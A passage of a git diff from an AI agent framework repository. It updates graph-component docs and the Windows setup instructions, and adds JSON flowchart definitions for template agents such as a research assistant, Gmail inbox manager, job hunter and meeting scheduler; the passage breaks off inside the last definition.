The `FlowchartShape` component renders each flowchart shape as SVG primitives. Each shape receives:
- `x, y, w, h` — bounding box in SVG units
- `color` — the hex color from the flowchart type
- `selected` — hover state (increases fill opacity from 18% to 28%, brightens stroke)
@@ -535,17 +482,22 @@ const STATUS_COLORS = {
### Workspace Integration (`workspace.tsx`)
The workspace conditionally renders `DraftGraph` in three scenarios:
The workspace always renders a single `<DraftGraph>` component, selecting the best available draft:
| Condition | Renders | Panel Width |
|---|---|---|
| `queenPhase === "planning"` and `draftGraph` exists | `<DraftGraph draft={draftGraph} />` | 500px |
| `originalDraft` exists (post-planning) | `<DraftGraph draft={originalDraft} flowchartMap={...} runtimeNodes={...} />` | 500px |
| Neither | `<AgentGraph ... />` (runtime pipeline view) | 300px |
```tsx
<DraftGraph
draft={activeAgentState?.originalDraft ?? activeAgentState?.draftGraph ?? null}
loading={activeAgentState?.queenPhase === "planning" && !activeAgentState?.draftGraph}
flowchartMap={activeAgentState?.flowchartMap ?? undefined}
runtimeNodes={currentGraph.nodes}
/>
```
The graph panel is user-resizable (drag handle on the right edge, 15%50% of viewport width, default 30%).
**State management:**
- `draftGraph`: Set by `draft_graph_updated` SSE event during planning; cleared on phase change
- `originalDraft` + `flowchartMap`: Fetched from `GET /api/sessions/{id}/flowchart-map` when phase transitions away from planning
- `originalDraft` + `flowchartMap`: Fetched from `GET /api/sessions/{id}/flowchart-map` when phase transitions away from planning. For template/legacy agents, `originalDraft` is generated at load time via `generate_fallback_flowchart()`.
---
+12 -7
View File
@@ -10,8 +10,7 @@ Complete setup guide for building and running goal-driven agents with the Aden A
```
> **Note for Windows Users:**
> Running the setup script on native Windows shells (PowerShell / Git Bash) may sometimes fail due to Python App Execution Aliases.
> It is **strongly recommended to use WSL (Windows Subsystem for Linux)** for a smoother setup experience.
> Native Windows is supported via `quickstart.ps1`. Run it in PowerShell 5.1+. Disable "App Execution Aliases" in Windows settings to avoid Python path conflicts.
This will:
@@ -25,13 +24,19 @@ This will:
## Windows Setup
Windows users should use **WSL (Windows Subsystem for Linux)** to set up and run agents.
Native Windows is supported. Run the PowerShell quickstart:
1. [Install WSL 2](https://learn.microsoft.com/en-us/windows/wsl/install) if you haven't already:
```powershell
.\quickstart.ps1
```
Alternatively, you can use WSL:
1. [Install WSL 2](https://learn.microsoft.com/en-us/windows/wsl/install):
```powershell
wsl --install
```
2. Open your WSL terminal, clone the repo, and run the quickstart script:
2. Open your WSL terminal, clone the repo, and run:
```bash
./quickstart.sh
```
@@ -93,7 +98,7 @@ uv run python -c "import litellm; print('✓ litellm OK')"
```
> **Windows Tip:**
> On Windows, if the verification commands fail, ensure you are running them in **WSL** or after **disabling Python App Execution Aliases** in Windows Settings → Apps → App Execution Aliases.
> If the verification commands fail on Windows, disable "App Execution Aliases" in Windows Settings → Apps → App Execution Aliases.
## Requirements
@@ -108,7 +113,7 @@ uv run python -c "import litellm; print('✓ litellm OK')"
- pip (latest version)
- 2GB+ RAM
- Internet connection (for LLM API calls)
- For Windows users: WSL 2 is recommended for full compatibility.
- For Windows users: PowerShell 5.1+ (native) or WSL 2.
### API Keys
+18
View File
@@ -13,6 +13,8 @@ This guide will help you set up the Aden Agent Framework and build your first ag
The fastest way to get started:
**Linux / macOS:**
```bash
# 1. Clone the repository
git clone https://github.com/adenhq/hive.git
@@ -25,6 +27,22 @@ cd hive
uv run python -c "import framework; import aden_tools; print('✓ Setup complete')"
```
**Windows (PowerShell):**
```powershell
# 1. Clone the repository
git clone https://github.com/adenhq/hive.git
cd hive
# 2. Run automated setup
.\quickstart.ps1
# 3. Verify installation (optional, quickstart.ps1 already verifies)
uv run python -c "import framework; import aden_tools; print('Setup complete')"
```
> **Note:** On Windows, running `.\quickstart.ps1` requires PowerShell 5.1+. If you see a "running scripts is disabled" error, run `Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass` first. Alternatively, use WSL — see [environment-setup.md](./environment-setup.md) for details.
## Building Your First Agent
Agents are not included by default in a fresh clone.
@@ -0,0 +1,307 @@
{
"original_draft": {
"agent_name": "competitive_intel_agent",
"goal": "Monitor competitor websites, news sources, and GitHub repositories to produce a structured weekly digest with key insights, detailed findings per competitor, and 30-day trend analysis.",
"description": "",
"success_criteria": [
"Check multiple source types per competitor (website, news, GitHub)",
"All findings structured with competitor, category, update, source, and date",
"Uses stored data to compare with previous reports for trend analysis",
"User receives a formatted, readable competitive intelligence digest"
],
"constraints": [
"Never fabricate findings, news, or data \u2014 only report what was found",
"Every finding must include a source URL",
"Prioritize findings from the past 7 days; include up to 30 days"
],
"nodes": [
{
"id": "intake",
"name": "Competitor Intake",
"description": "Collect competitor list, focus areas, and report preferences from the user",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"competitors_input"
],
"output_keys": [
"competitors",
"focus_areas",
"report_frequency",
"has_github_competitors"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "web-scraper",
"name": "Website Monitor",
"description": "Scrape competitor websites for pricing, features, and announcements",
"node_type": "event_loop",
"tools": [
"web_search",
"web_scrape"
],
"input_keys": [
"competitors",
"focus_areas"
],
"output_keys": [
"web_findings"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "news-search",
"name": "News & Press Monitor",
"description": "Search for competitor mentions in news, press releases, and industry publications",
"node_type": "event_loop",
"tools": [
"web_search",
"web_scrape"
],
"input_keys": [
"competitors",
"focus_areas"
],
"output_keys": [
"news_findings"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "decision",
"flowchart_shape": "diamond",
"flowchart_color": "#d89d26"
},
{
"id": "github-monitor",
"name": "GitHub Activity Monitor",
"description": "Track public GitHub repository activity for competitors with GitHub presence",
"node_type": "event_loop",
"tools": [
"github_list_repos",
"github_get_repo",
"github_search_repos"
],
"input_keys": [
"competitors"
],
"output_keys": [
"github_findings"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "aggregator",
"name": "Data Aggregator",
"description": "Combine findings from all sources, deduplicate, and structure for analysis",
"node_type": "event_loop",
"tools": [
"save_data",
"load_data",
"list_data_files"
],
"input_keys": [
"competitors",
"web_findings",
"news_findings",
"github_findings"
],
"output_keys": [
"aggregated_findings"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "database",
"flowchart_shape": "cylinder",
"flowchart_color": "#508878"
},
{
"id": "analysis",
"name": "Insight Analysis",
"description": "Extract key insights, detect trends, and compare with historical data",
"node_type": "event_loop",
"tools": [
"load_data",
"save_data",
"list_data_files"
],
"input_keys": [
"aggregated_findings",
"competitors",
"focus_areas"
],
"output_keys": [
"key_highlights",
"trend_analysis",
"detailed_findings"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "database",
"flowchart_shape": "cylinder",
"flowchart_color": "#508878"
},
{
"id": "report",
"name": "Report Generator",
"description": "Generate and deliver the competitive intelligence digest as an HTML report",
"node_type": "event_loop",
"tools": [
"save_data",
"load_data",
"serve_file_to_user",
"list_data_files"
],
"input_keys": [
"key_highlights",
"trend_analysis",
"detailed_findings",
"competitors"
],
"output_keys": [
"delivery_status"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "web-scraper",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "web-scraper",
"target": "news-search",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "news-search",
"target": "github-monitor",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-3",
"source": "news-search",
"target": "aggregator",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-4",
"source": "github-monitor",
"target": "aggregator",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-5",
"source": "aggregator",
"target": "analysis",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-6",
"source": "analysis",
"target": "report",
"condition": "on_success",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"report"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"web-scraper": [
"web-scraper"
],
"news-search": [
"news-search"
],
"github-monitor": [
"github-monitor"
],
"aggregator": [
"aggregator"
],
"analysis": [
"analysis"
],
"report": [
"report"
]
}
}
@@ -0,0 +1,221 @@
{
"original_draft": {
"agent_name": "deep_research_agent",
"goal": "Research any topic by searching diverse sources, analyzing findings, and producing a cited report \u2014 with user checkpoints to guide direction.",
"description": "",
"success_criteria": [
"Use multiple diverse, authoritative sources",
"Every factual claim in the report cites its source",
"User reviews findings before report generation",
"Final report answers the original research questions"
],
"constraints": [
"Only include information found in fetched sources",
"Every claim must cite its source with a numbered reference",
"Present findings to the user before writing the final report"
],
"nodes": [
{
"id": "intake",
"name": "Research Intake",
"description": "Discuss the research topic with the user, clarify scope, and confirm direction",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"user_request"
],
"output_keys": [
"research_brief"
],
"success_criteria": "The research brief is specific and actionable: it states the topic, the key questions to answer, the desired scope, and depth.",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "research",
"name": "Research",
"description": "Search the web, fetch source content, and compile findings",
"node_type": "event_loop",
"tools": [
"web_search",
"web_scrape",
"load_data",
"save_data",
"append_data",
"list_data_files"
],
"input_keys": [
"research_brief",
"feedback"
],
"output_keys": [
"findings",
"sources",
"gaps"
],
"success_criteria": "Findings reference at least 3 distinct sources with URLs. Key claims are substantiated by fetched content, not generated.",
"sub_agents": [],
"flowchart_type": "database",
"flowchart_shape": "cylinder",
"flowchart_color": "#508878"
},
{
"id": "review",
"name": "Review Findings",
"description": "Present findings to user and decide whether to research more or write the report",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"findings",
"sources",
"gaps",
"research_brief"
],
"output_keys": [
"needs_more_research",
"feedback"
],
"success_criteria": "The user has been presented with findings and has explicitly indicated whether they want more research or are ready for the report.",
"sub_agents": [],
"flowchart_type": "decision",
"flowchart_shape": "diamond",
"flowchart_color": "#d89d26"
},
{
"id": "report",
"name": "Write & Deliver Report",
"description": "Write a cited HTML report from the findings and present it to the user",
"node_type": "event_loop",
"tools": [
"save_data",
"append_data",
"serve_file_to_user",
"load_data",
"list_data_files"
],
"input_keys": [
"findings",
"sources",
"research_brief"
],
"output_keys": [
"delivery_status",
"next_action"
],
"success_criteria": "An HTML report has been saved, the file link has been presented to the user, and the user has indicated what they want to do next.",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "research",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "research",
"target": "review",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "review",
"target": "research",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-3",
"source": "review",
"target": "report",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-4",
"source": "report",
"target": "research",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-5",
"source": "report",
"target": "intake",
"condition": "conditional",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"report"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"research": [
"research"
],
"review": [
"review"
],
"report": [
"report"
]
}
}
@@ -0,0 +1,218 @@
{
"original_draft": {
"agent_name": "email_inbox_management",
"goal": "Manage Gmail inbox emails autonomously using user-defined free-text rules. For every five minutes, fetch inbox emails (configurable batch size, default 100), apply the user's rules to each email, and execute the appropriate Gmail actions \u2014 trash, mark as spam, mark important, mark read/unread, star, draft replies, create/apply custom labels, and more.",
"description": "",
"success_criteria": [
"Gmail actions are applied correctly to the right emails based on the user's rules",
"Produces a summary report showing what was done: how many emails were affected by each action type, with email subjects listed",
"All fetched emails up to the configured max are processed and acted upon; none are silently skipped",
"Custom labels are created and applied correctly when rules require them"
],
"constraints": [
"Must loop through all inbox emails by paginating with max_emails as page size; no emails should be silently skipped",
"Archiving removes from inbox but preserves the email; only explicit trash rules move emails to trash",
"Agent creates draft replies but NEVER sends them automatically"
],
"nodes": [
{
"id": "intake",
"name": "Intake",
"description": "Receive and validate input parameters: rules and max_emails. Present the interpreted rules back to the user for confirmation.",
"node_type": "event_loop",
"tools": [
"gmail_list_labels"
],
"input_keys": [
"rules",
"max_emails"
],
"output_keys": [
"rules",
"max_emails",
"query"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "fetch-emails",
"name": "Fetch Emails",
"description": "Fetch one page of emails from Gmail inbox. Returns emails filename and next_page_token for pagination. The graph loops back here if more pages remain.",
"node_type": "event_loop",
"tools": [
"bulk_fetch_emails"
],
"input_keys": [
"rules",
"max_emails",
"next_page_token",
"last_processed_timestamp",
"query"
],
"output_keys": [
"emails",
"next_page_token"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "classify-and-act",
"name": "Classify and Act",
"description": "Apply the user's rules to each email and execute the appropriate Gmail actions.",
"node_type": "event_loop",
"tools": [
"gmail_trash_message",
"gmail_modify_message",
"gmail_batch_modify_messages",
"gmail_create_draft",
"gmail_create_label",
"gmail_list_labels",
"load_data",
"append_data"
],
"input_keys": [
"rules",
"emails"
],
"output_keys": [
"actions_taken"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "decision",
"flowchart_shape": "diamond",
"flowchart_color": "#d89d26"
},
{
"id": "report",
"name": "Report",
"description": "Generate a summary report of all actions taken on the emails and present it to the user.",
"node_type": "event_loop",
"tools": [
"load_data",
"get_current_timestamp"
],
"input_keys": [
"actions_taken",
"rules"
],
"output_keys": [
"summary_report",
"rules",
"last_processed_timestamp"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "fetch-emails",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "fetch-emails",
"target": "classify-and-act",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "classify-and-act",
"target": "fetch-emails",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-3",
"source": "classify-and-act",
"target": "report",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-4",
"source": "report",
"target": "intake",
"condition": "on_success",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"report"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"fetch-emails": [
"fetch-emails"
],
"classify-and-act": [
"classify-and-act"
],
"report": [
"report"
]
}
}
@@ -0,0 +1,168 @@
{
"original_draft": {
"agent_name": "email_reply_agent",
"goal": "Filter unreplied emails by user criteria, confirm recipients, send personalized replies.",
"description": "",
"success_criteria": [
"Accurately finds unreplied emails matching user criteria",
"User confirms recipient list before sending",
"Replies are personalized based on email content and tone guidance"
],
"constraints": [
"Never send emails without explicit user confirmation; always present recipient list and get approval first",
"Process up to 50 emails per batch"
],
"nodes": [
{
"id": "intake",
"name": "Intake",
"description": "Gather email filter criteria from user",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"batch_complete",
"restart"
],
"output_keys": [
"filter_criteria"
],
"success_criteria": "Filter criteria is specific enough to search Gmail (sender, subject, date range, or keywords).",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "search",
"name": "Search Emails",
"description": "Search Gmail for unreplied emails matching filter criteria",
"node_type": "event_loop",
"tools": [
"gmail_list_messages",
"gmail_get_message",
"gmail_batch_get_messages"
],
"input_keys": [
"filter_criteria"
],
"output_keys": [
"email_list"
],
"success_criteria": "Found unreplied emails matching criteria with sender, subject, snippet, message_id.",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "confirm-draft",
"name": "Confirm & Reply",
"description": "Present emails for confirmation, send personalized replies",
"node_type": "event_loop",
"tools": [
"gmail_reply_email"
],
"input_keys": [
"email_list",
"filter_criteria"
],
"output_keys": [
"batch_complete",
"restart"
],
"success_criteria": "User confirmed recipients and personalized replies sent for each.",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "search",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "search",
"target": "confirm-draft",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "confirm-draft",
"target": "intake",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-3",
"source": "confirm-draft",
"target": "intake",
"condition": "conditional",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"confirm-draft"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"search": [
"search"
],
"confirm-draft": [
"confirm-draft"
]
}
}
@@ -0,0 +1,186 @@
{
"original_draft": {
"agent_name": "job_hunter",
"goal": "Analyze a user's resume to identify their strongest role fits, find 10 matching job opportunities, let the user select which to pursue, then generate a resume customization list and cold outreach email for each selected job.",
"description": "",
"success_criteria": [
"Identifies 2-3 role types that genuinely match the user's experience",
"Found jobs align with identified roles and user's background",
"Resume changes are specific, actionable, and tailored to each job posting",
"Cold emails are personalized, professional, and reference specific company/role details",
"User approves outputs without major revisions needed"
],
"constraints": [
"Only suggest roles the user is realistically qualified for - no aspirational stretch roles",
"Resume customizations must be truthful - enhance presentation, never fabricate experience",
"Cold emails must be professional and not spammy",
"Only customize for jobs the user explicitly selects"
],
"nodes": [
{
"id": "intake",
"name": "Intake",
"description": "Analyze resume and identify 3-5 strongest role types",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"resume_text"
],
"output_keys": [
"resume_text",
"role_analysis"
],
"success_criteria": "The user's resume has been analyzed and 3-5 target roles identified based on their actual experience.",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "job-search",
"name": "Job Search",
"description": "Search for 10 jobs matching identified roles by scraping job board sites directly",
"node_type": "event_loop",
"tools": [
"web_scrape"
],
"input_keys": [
"role_analysis"
],
"output_keys": [
"job_listings"
],
"success_criteria": "10 relevant job listings have been found with complete details including title, company, location, description, and URL.",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "job-review",
"name": "Job Review",
"description": "Present all 10 jobs to the user, let them select which to pursue",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"job_listings",
"resume_text"
],
"output_keys": [
"selected_jobs"
],
"success_criteria": "User has reviewed all job listings and explicitly selected which jobs they want to apply to.",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "customize",
"name": "Customize",
"description": "For each selected job, generate resume customization list and cold outreach email, create Gmail drafts",
"node_type": "event_loop",
"tools": [
"save_data",
"append_data",
"serve_file_to_user",
"gmail_create_draft"
],
"input_keys": [
"selected_jobs",
"resume_text"
],
"output_keys": [
"application_materials"
],
"success_criteria": "Resume customization list and cold outreach email generated for each selected job, saved as HTML, and Gmail drafts created in user's inbox.",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "job-search",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "job-search",
"target": "job-review",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "job-review",
"target": "customize",
"condition": "on_success",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"customize"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"job-search": [
"job-search"
],
"job-review": [
"job-review"
],
"customize": [
"customize"
]
}
}
@@ -0,0 +1,165 @@
{
"original_draft": {
"agent_name": "local_business_extractor",
"goal": "Find local businesses on Maps, extract contacts, and sync to Google Sheets.",
"description": "",
"success_criteria": [
"Extract business details from Maps",
"Sync data to Google Sheets"
],
"constraints": [
"Must verify website presence before scraping"
],
"nodes": [
{
"id": "map-search-worker",
"name": "Maps Browser Worker",
"description": "Browser subagent that searches Google Maps and extracts business links.",
"node_type": "gcu",
"tools": [],
"input_keys": [
"query"
],
"output_keys": [
"business_list"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "browser",
"flowchart_shape": "hexagon",
"flowchart_color": "#cc8850"
},
{
"id": "extract-contacts",
"name": "Extract Business Details",
"description": "Scrapes business websites and Maps for comprehensive business details.",
"node_type": "event_loop",
"tools": [
"exa_get_contents",
"exa_search"
],
"input_keys": [
"user_request"
],
"output_keys": [
"business_data"
],
"success_criteria": "Comprehensive business details (reviews, hours, contacts) extracted.",
"sub_agents": [
"map-search-worker"
],
"flowchart_type": "subprocess",
"flowchart_shape": "subroutine",
"flowchart_color": "#887a48"
},
{
"id": "sheets-sync",
"name": "Google Sheets Sync",
"description": "Appends the extracted business data to a Google Sheets spreadsheet.",
"node_type": "event_loop",
"tools": [
"google_sheets_create_spreadsheet",
"google_sheets_update_values",
"google_sheets_append_values",
"google_sheets_get_values"
],
"input_keys": [
"business_data"
],
"output_keys": [
"spreadsheet_id"
],
"success_criteria": "Data successfully synced to Google Sheets.",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "extract-contacts",
"target": "sheets-sync",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "sheets-sync",
"target": "extract-contacts",
"condition": "always",
"description": "",
"label": ""
},
{
"id": "edge-subagent-2",
"source": "extract-contacts",
"target": "map-search-worker",
"condition": "always",
"description": "sub-agent delegation",
"label": "delegate"
},
{
"id": "edge-subagent-3",
"source": "map-search-worker",
"target": "extract-contacts",
"condition": "always",
"description": "sub-agent report back",
"label": "report"
}
],
"entry_node": "extract-contacts",
"terminal_nodes": [
"sheets-sync"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"extract-contacts": [
"extract-contacts",
"map-search-worker"
],
"sheets-sync": [
"sheets-sync"
]
}
}
@@ -0,0 +1,172 @@
{
"original_draft": {
"agent_name": "meeting_scheduler",
"goal": "Check calendar availability, find optimal meeting times, record meetings, and send reminders.",
"description": "",
"success_criteria": [
"Meeting time found within requested duration",
"Meeting recorded in spreadsheet accurately",
"Attendee email reminder sent",
"User confirms meeting details"
],
"constraints": [
"Must use Google Calendar API for availability check",
"Meeting duration must match requested time",
"Spreadsheet record must include date, time, attendee, title"
],
"nodes": [
{
"id": "intake",
"name": "Intake",
"description": "Gather meeting details from the user",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"attendee_email",
"meeting_duration_minutes"
],
"output_keys": [
"attendee_email",
"meeting_duration_minutes",
"meeting_title"
],
"success_criteria": "User has provided attendee email, meeting duration, and title.",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "schedule",
"name": "Schedule",
"description": "Find available time on calendar, book meeting with Google Meet, and log to Google Sheet",
"node_type": "event_loop",
"tools": [
"calendar_check_availability",
"calendar_create_event",
"calendar_list_events",
"google_sheets_create_spreadsheet",
"google_sheets_get_spreadsheet",
"google_sheets_append_values",
"send_email"
],
"input_keys": [
"attendee_email",
"meeting_duration_minutes",
"meeting_title"
],
"output_keys": [
"meeting_time",
"booking_confirmed",
"spreadsheet_recorded",
"email_sent",
"meet_link"
],
"success_criteria": "Meeting time found, Google Meet created, Google Sheet 'Meeting Scheduler' updated with date/time/attendee/title/meet_link, and confirmation email sent.",
"sub_agents": [],
"flowchart_type": "io",
"flowchart_shape": "parallelogram",
"flowchart_color": "#d06818"
},
{
"id": "confirm",
"name": "Confirm",
"description": "Present booking confirmation to user with Google Meet link",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"meeting_time",
"booking_confirmed",
"meet_link"
],
"output_keys": [
"next_action"
],
"success_criteria": "User has acknowledged the booking and received the Google Meet link.",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "schedule",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "schedule",
"target": "confirm",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "confirm",
"target": "intake",
"condition": "conditional",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"confirm"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"schedule": [
"schedule"
],
"confirm": [
"confirm"
]
}
}
@@ -0,0 +1,150 @@
{
"original_draft": {
"agent_name": "tech_news_reporter",
"goal": "Research the latest technology and AI news from the web, summarize key stories, and produce a well-organized report for the user to read.",
"description": "",
"success_criteria": [
"Finds recent, relevant tech/AI news articles",
"Covers diverse topics, not just one story",
"Produces a structured, readable report with sections, summaries, and links",
"Includes source attribution with URLs for every story",
"Delivers the report to the user in a viewable format"
],
"constraints": [
"Never fabricate news stories or URLs",
"Always attribute sources with links",
"Only include news from the past week"
],
"nodes": [
{
"id": "intake",
"name": "Intake",
"description": "Greet the user and ask if they have specific tech/AI topics to focus on, or if they want a general news roundup.",
"node_type": "event_loop",
"tools": [],
"input_keys": [],
"output_keys": [
"research_brief"
